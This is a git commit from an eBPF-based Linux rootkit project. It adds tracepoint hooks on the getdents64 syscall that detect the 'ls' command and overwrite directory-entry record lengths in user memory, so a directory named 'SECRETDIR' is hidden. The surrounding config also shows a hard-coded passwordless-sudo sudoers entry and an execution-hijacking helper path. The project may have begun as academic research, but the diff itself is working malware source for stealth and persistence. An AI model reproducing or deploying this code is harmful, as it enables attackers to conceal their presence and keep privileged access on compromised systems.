Added hide directory capabilities for the rootkit

This commit is contained in:
h3xduck
2022-05-16 11:24:59 -04:00
parent 4044d7994c
commit 82fa056955
11 changed files with 20518 additions and 19795 deletions

View File

@@ -24,6 +24,7 @@
"bpf_helpers.h": "c",
"tcp_helper.h": "c",
"stdio.h": "c",
"*.tcc": "c"
"*.tcc": "c",
"dirent.h": "c"
}
}

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -18,6 +18,8 @@
#define STRING_FS_SUDOERS_ENTRY "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
#define STRING_FS_SUDOERS_ENTRY_LEN 37
#define STRING_SECRET_DIRECTORY_NAME_HIDE "SECRETDIR"
//EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"

View File

@@ -3,6 +3,14 @@
#ifndef __H_TCKIT
#include "headervmlinux.h"
#else
struct linux_dirent64 {
long long d_ino;
unsigned long long d_off;
short unsigned int d_reclen;
unsigned char d_type;
char d_name[0];
};
#endif
#include "../../../common/c&c.h"
@@ -58,6 +66,12 @@ struct inj_ret_address_data{ //Map value
__s32 padding;
};
//Map value, stores last dirent info of directory by process
struct fs_dir_log_data{
struct linux_dirent64 dirent_info;
};
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
@@ -105,6 +119,15 @@ struct inj_priv_ret_address{ //Map
__type(value, struct inj_ret_address_data);
} inj_ret_address SEC(".maps");
//Stores directories listed by a process, for later processing at its exit
struct fs_priv_dir_log{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_dir_log_data);
} fs_dir_log SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
//Located at /src/map_prot.h

View File

@@ -57,6 +57,29 @@ struct sys_openat_enter_ctx {
umode_t mode;
};
/**
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_getdents64/format
*/
struct sys_getdents64_enter_ctx {
unsigned long long unused;
int __syscall_nr;
unsigned int padding;
unsigned int fd;
struct linux_dirent64 *dirent;
unsigned int count;
};
/**
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_getdents64/format
*/
struct sys_getdents64_exit_ctx {
unsigned long long unused;
int __syscall_nr;
unsigned int padding;
long ret;
};
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
@@ -209,6 +232,124 @@ static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ct
static __always_inline int handle_tp_sys_enter_getdents64(struct sys_getdents64_enter_ctx *ctx, __u64 pid_tgid){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err < 0){
return -1;
}
char *task = "ls";
if(str_n_compare(comm, 2, task, 2, 2) != 0){
return 0;
}
struct linux_dirent64 *d_entry;
struct fs_dir_log_data *stored_data = (struct fs_dir_log_data*) bpf_map_lookup_elem(&fs_dir_log, &pid_tgid);
if (stored_data == NULL){
struct fs_dir_log_data data = {0};
err = bpf_probe_read(&(data.dirent_info), sizeof(struct linux_dirent64), &(ctx->dirent));
if(err<0){
bpf_printk("Failed to read dirent info on enter\n");
}
bpf_map_update_elem(&fs_dir_log, &pid_tgid, &data, BPF_ANY);
return 0;
}
struct fs_dir_log_data data = *stored_data;
err = bpf_probe_read(&(data.dirent_info), sizeof(struct linux_dirent64), ctx->dirent);
if(err<0){
bpf_printk("Failed to read dirent info on enter 2\n");
}
bpf_map_update_elem(&fs_dir_log, &pid_tgid, &data, BPF_ANY);
return 0;
}
static __always_inline int handle_tp_sys_exit_getdents64(struct sys_getdents64_exit_ctx *ctx, __u64 pid_tgid){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err < 0){
return -1;
}
char *task = "ls";
if(str_n_compare(comm, 2, task, 2, 2) != 0){
return 0;
}
struct linux_dirent64 *d_entry;
__u64 *stored_data = bpf_map_lookup_elem(&fs_dir_log, &pid_tgid);
if (stored_data == NULL){
//Nothing for this process
bpf_printk("Exitting getdents, empty\n");
return 0;
}
__u64 d_entry_base_addr = (__u64)(*stored_data);
//Length of directory buffer
//https://linux.die.net/man/2/getdents64
long dir_buf_max = ctx->ret;
long curr_offset = 0;
bpf_printk("Starting dirent search, max:%ld, base_addr: %lx\n", dir_buf_max, d_entry_base_addr);
//We will proceed to iterate through the buffer and look for our secret dir until we are past the limit
struct linux_dirent64* previous_dir = (struct linux_dirent64*)(d_entry_base_addr + curr_offset);
for(int ii=0; ii<16; ii++){
if(curr_offset>=dir_buf_max){
bpf_printk("Finished dirent search because we reached the end\n");
break;
}
struct linux_dirent64 *d_entry = (struct linux_dirent64*)(d_entry_base_addr + curr_offset);
__u16 d_reclen;
__u16 d_name_len;
char d_name[128];
bpf_probe_read(&d_reclen, sizeof(__u16), &d_entry->d_reclen);
//bpf_printk("Record length: %d\n", d_reclen);
char d_type;
bpf_probe_read(&d_type, sizeof(d_type), &d_entry->d_type);
d_name_len = d_reclen - 2 - (offsetof(struct linux_dirent64, d_name));
int err = bpf_probe_read_user(&d_name, 128, d_entry->d_name);
if (err!=0){
//Ignore this entry, error
curr_offset += d_reclen;
//bpf_printk("Error reading directory name\n");
continue;
}
//It is a directory, check if it is ours
if (d_type == 4){
bpf_printk("DIR: %s\n", d_name);
if(previous_dir != NULL){
if(str_n_compare(d_name, sizeof(STRING_SECRET_DIRECTORY_NAME_HIDE)-1, STRING_SECRET_DIRECTORY_NAME_HIDE, sizeof(STRING_SECRET_DIRECTORY_NAME_HIDE)-1, sizeof(STRING_SECRET_DIRECTORY_NAME_HIDE)-1)==0){
__u16 prev_reclen;
bpf_probe_read(&prev_reclen, sizeof(__u16), &previous_dir->d_reclen);
__u16 new_len = prev_reclen + d_reclen;
bpf_printk("Prev dir len:%d, new len:%d", prev_reclen, new_len);
err = bpf_probe_write_user(&(previous_dir->d_reclen), &new_len ,sizeof(__u16));
if(err<0){
bpf_printk("Failed to overwrite directory struct length\n");
}
}
}
bpf_probe_read(&previous_dir, sizeof(struct linux_dirent64*), &d_entry);
curr_offset += d_reclen;
continue;
}
//bpf_printk("Entry found\n");
bpf_printk("FILE: d_reclen: %d, d_name_len: %d, %s", d_reclen, d_name_len, d_name);
//Update the pointer
bpf_probe_read(&previous_dir, sizeof(struct linux_dirent64*), &d_entry);
curr_offset += d_reclen;
//Note, TODO
//We can also overwrite &d_entry->d_name for files!
}
return 0;
}
/**
* @brief Receives read event and stores the parameters into internal map
*
@@ -259,4 +400,34 @@ int tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){
}
/**
* @brief
*
*/
SEC("tp/syscalls/sys_enter_getdents64")
int tp_sys_enter_getdents64(struct sys_getdents64_enter_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
return handle_tp_sys_enter_getdents64(ctx, pid_tgid);
}
/**
* @brief
*
*/
SEC("tp/syscalls/sys_exit_getdents64")
int tp_sys_exit_getdents64(struct sys_getdents64_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
return handle_tp_sys_exit_getdents64(ctx, pid_tgid);
}
#endif

BIN
src/tc.o

Binary file not shown.

View File

@@ -20,11 +20,22 @@ int attach_tp_sys_enter_openat(struct kit_bpf *skel){
skel->links.tp_sys_enter_openat = bpf_program__attach(skel->progs.tp_sys_enter_openat);
return libbpf_get_error(skel->links.tp_sys_enter_openat);
}
int attach_tp_sys_enter_getdents64(struct kit_bpf *skel){
skel->links.tp_sys_enter_getdents64 = bpf_program__attach(skel->progs.tp_sys_enter_getdents64);
return libbpf_get_error(skel->links.tp_sys_enter_getdents64);
}
int attach_tp_sys_exit_getdents64(struct kit_bpf *skel){
skel->links.tp_sys_exit_getdents64 = bpf_program__attach(skel->progs.tp_sys_exit_getdents64);
return libbpf_get_error(skel->links.tp_sys_exit_getdents64);
}
int attach_fs_all(struct kit_bpf *skel){
return attach_tp_sys_enter_read(skel) ||
attach_tp_sys_exit_read(skel) ||
attach_tp_sys_enter_openat(skel);
attach_tp_sys_enter_openat(skel)||
attach_tp_sys_enter_getdents64(skel) ||
attach_tp_sys_exit_getdents64(skel);
}
@@ -52,11 +63,29 @@ int detach_tp_sys_enter_openat(struct kit_bpf *skel){
}
return 0;
}
int detach_tp_sys_enter_getdents64(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_enter_getdents64);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_tp_sys_exit_getdents64(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_exit_getdents64);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_fs_all(struct kit_bpf *skel){
return detach_tp_sys_enter_read(skel) ||
detach_tp_sys_exit_read(skel) ||
detach_tp_sys_enter_openat(skel);
detach_tp_sys_enter_openat(skel)||
detach_tp_sys_enter_getdents64(skel)||
detach_tp_sys_exit_getdents64(skel);
}
#endif

View File

@@ -18,7 +18,9 @@ module_config_t module_config = {
.all = ON,
.tp_sys_enter_read = OFF,
.tp_sys_exit_read = OFF,
.tp_sys_enter_openat = OFF
.tp_sys_enter_openat = OFF,
.tp_sys_enter_getdents64 = OFF,
.tp_sys_exit_getdents64 = OFF
},
.exec_module = {
.all = ON,
@@ -74,6 +76,8 @@ int setup_all_modules(){
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
if(config.fs_module.tp_sys_enter_openat == ON) ret = attach_tp_sys_enter_openat(attr.skel);
if(config.fs_module.tp_sys_enter_getdents64 == ON) ret = attach_tp_sys_enter_getdents64(attr.skel);
if(config.fs_module.tp_sys_exit_getdents64 == ON) ret = attach_tp_sys_exit_getdents64(attr.skel);
}
if(ret!=0) return -1;

View File

@@ -28,6 +28,8 @@ typedef struct module_config_t{
char tp_sys_enter_read;
char tp_sys_exit_read;
char tp_sys_enter_openat;
char tp_sys_enter_getdents64;
char tp_sys_exit_getdents64;
}fs_module;
struct exec_module {